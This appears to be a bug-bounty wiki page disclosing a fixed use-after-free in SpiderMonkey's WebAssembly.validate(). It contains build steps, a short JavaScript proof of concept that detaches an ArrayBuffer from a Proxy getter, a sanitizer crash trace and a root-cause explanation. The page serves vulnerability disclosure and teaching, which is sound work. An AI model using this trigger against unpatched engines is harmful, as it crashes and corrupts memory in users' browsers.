Use-After-Free in WebAssembly Module Validation via Detached ArrayBuffer
SpiderMonkey's WebAssembly.validate() kept a raw pointer to an ArrayBuffer's data while it later read a property from the options object, so a Proxy getter could detach the buffer mid-validation. The decoder then read from freed or unmapped memory, causing a crash.
- Fixed in 31 hours
- Paid in 34 hours
- Disclosed after 31 hours
Reproduce
-
Clone the Firefox mirror from https://github.com/mozilla-firefox/firefox
-
Run build command in the js/src directory of the firefox checkout:
Bash mkdir fuzzbuild_OPT.OBJ && cd fuzzbuild_OPT.OBJ && ../configure --enable-address-sanitizer --disable-jemalloc --enable-debug --enable-optimize --disable-shared-js --enable-application=js --enable-gczeal && make -j64 -
Run poc:
fuzzbuild_OPT.OBJ/dist/bin/js poc.js
Test SpiderMonkey commit hash: 3c23ce1368431d49bae08e8e211f7f2bf4e4829d
commit 3c23ce1368431d49bae08e8e211f7f2bf4e4829d
Author: stransky <[address removed]>
Date: 2025-09-08 04:20:40 +0000
Bug 1979106 [Wayland] Don't recycle buffer transactions across WaylandSurfaces r=emilio
POC (poc.js):
// Ultra-minimal WebAssembly crash
const buffer = new ArrayBuffer(4294967303); // 4GB+ buffer
const options = new Proxy({}, {
get(target, prop) {
if (prop === 'builtins') {
buffer.transfer(); // Detach buffer
gc(); // Force garbage collection
}
}
});
WebAssembly.validate(buffer, options);
Root Cause
The vulnerability occurs due to a use-after-free condition in SpiderMonkey's WebAssembly module validation process when handling detached ArrayBuffers. The issue arises when WebAssembly.validate() is called with a large ArrayBuffer and a Proxy object that triggers buffer detachment during the validation process.
The crash occurs in the WebAssembly decoder's read() method in WasmBinary.h:316 when attempting to read from a detached buffer. During validation, WebAssembly.validate() accesses the options object to check for the 'builtins' property, which triggers the Proxy getter. The getter calls buffer.transfer() which detaches the ArrayBuffer, making its underlying memory inaccessible. However, the validation process continues and attempts to read from the now-invalid memory location.
The problematic code path is in WasmBinary.h:
// Line 316 in Decoder::read()
template <class T>
[[nodiscard]] bool read(T* out) {
if (bytesRemain() < sizeof(T)) {
return false;
}
memcpy((void*)out, cur_, sizeof(T)); // SEGV occurs here - cur_ points to detached buffer
cur_ += sizeof(T);
return true;
}
The sequence of events is:
WebAssembly.validate()is called with a large ArrayBuffer (4GB+) and Proxy options- The validation process begins by creating a Decoder with a pointer to the buffer's data
- During validation, the engine accesses the options object looking for the 'builtins' property
- The Proxy getter is triggered, which calls
buffer.transfer()to detach the ArrayBuffer - Garbage collection is forced, potentially freeing the detached buffer's memory
- The validation continues and calls
Decoder::read()which attempts tomemcpyfrom the invalid memory location - This results in a SEGV when trying to read from address
0x7f957d300000(unmapped memory)
Crash Stack Trace
UndefinedBehaviorSanitizer Error: SEGV on unknown address 0x7f957d300000
Stack frames showing crash path:
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==2668821==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x7f957d300000 (pc 0x5572432ad2d8 bp 0x7ffe22c83b90 sp 0x7ffe22c83b70 T2668821)
==2668821==The signal is caused by a READ memory access.
#0 0x5572432ad2d8 in memcpy /home/sakura/.mozbuild/sysroot-x86_64-linux-gnu/usr/include/x86_64-linux-gnu/bits/string3.h:51:10
#1 0x5572432ad2d8 in bool js::wasm::Decoder::read<unsigned int>(unsigned int*) /home/sakura/gecko-dev/js/src/wasm/WasmBinary.h:316:5
#2 0x5572432ad2d8 in js::wasm::Decoder::readFixedU32(unsigned int*) /home/sakura/gecko-dev/js/src/wasm/WasmBinary.h:468:57
#3 0x5572432ad2d8 in DecodePreamble(js::wasm::Decoder&) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:2443:10
#4 0x5572432ad47d in js::wasm::DecodeModuleEnvironment(js::wasm::Decoder&, js::wasm::CodeMetadata*, js::wasm::ModuleMetadata*) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:3903:8
#5 0x5572432b754d in js::wasm::Validate(JSContext*, js::wasm::BytecodeSource const&, js::wasm::FeatureOptions const&, std::unique_ptr<char [], JS::FreePolicy>*) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:4292:8
#6 0x5572431d2f7e in WebAssembly_validate(JSContext*, unsigned int, JS::Value*) /home/sakura/gecko-dev/js/src/wasm/WasmJS.cpp:4700:20
Register values at crash:
rax = 0x0000000000000000 rbx = 0x00007ffe22c84248 rcx = 0x0000000000000004 rdx = 0x00007f957d300000
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the validator cached a raw pointer to the ArrayBuffer contents and then called back into JavaScript (reading the 'builtins' option) before finishing its reads, without re-checking that the buffer was still attached.
Impact
The engine crashed with a segmentation fault on a read from unmapped memory; the text does not show code execution, only a denial-of-service crash.
What the attacker needed
Ability to run JavaScript in the engine; a 4GB+ ArrayBuffer allocation
How it was found
- Build the SpiderMonkey shell with the given configure flags.
- Create a large ArrayBuffer and a Proxy as the options argument.
- The Proxy getter detaches the buffer and forces garbage collection when 'builtins' is read.
- Call WebAssembly.validate with the buffer and the Proxy.
- The decoder reads from the detached buffer and crashes.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A program can hold a pointer to a chunk of memory and then that memory is released while the pointer is still used. Here the WebAssembly validator looked at the buffer, then ran attacker-controlled JavaScript that freed the buffer, then carried on reading from the old location. That is a use-after-free, and it crashed the browser engine.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.